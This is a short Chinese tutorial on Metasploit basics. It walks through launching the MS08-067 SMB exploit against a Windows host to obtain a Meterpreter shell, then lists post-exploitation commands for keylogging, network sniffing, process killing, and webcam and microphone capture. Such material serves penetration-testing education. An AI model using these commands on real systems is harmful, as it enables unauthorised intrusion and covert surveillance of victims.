Metasploit（三） Meterpreter基础知识

攻击前期步骤：

1. 启动msfconsole:命令行输入use exploit/windows/smb/ms08_067_netapi

 2. 可以通过show options查看设置的条件，默认远程主机不会有内容，需要手动设置，通过set RHOST ip 进行设置目标主机地址，端口也可以设置，设置完成后，可以看到如下图，上面是目标主机的ip和端口信息，下面是本地信息

3. 设置完毕后，输入exploit就可以进入meterpreter shell

基本命令

输入help可以查看所有Meterpreter命令

 

以下列举一些基本命令使用

进程列表相关命令：getuid（获取系统id和计算机名称）kill（终止进程）ps（列举正在运行中的进程）getpid （获取当前进程标识符）

键盘相关的进程命令：keyscan_start（开启按键记录会话）kyescan_stop（关闭按键记录会话）

keyscan_dump（存储被攻击主机获取到的按键）

会话相关进程命令：enumdesktops（ 列举所有可以访问到的桌面）getdesktop（获取当前桌面） setdesktop（变更当前桌面）

嗅探功能的进程命令：use sniffer（家在嗅探功能）  sniffer_start/stop（开启/停止嗅探） sniffer_dump（将捕获的主机数据转存到本地）

摄像头：webcam_list（获取系统中的摄像头列表）  webcam_snap（捕获被攻击主机的快照） record_mic（从主机的麦克风中记录声音）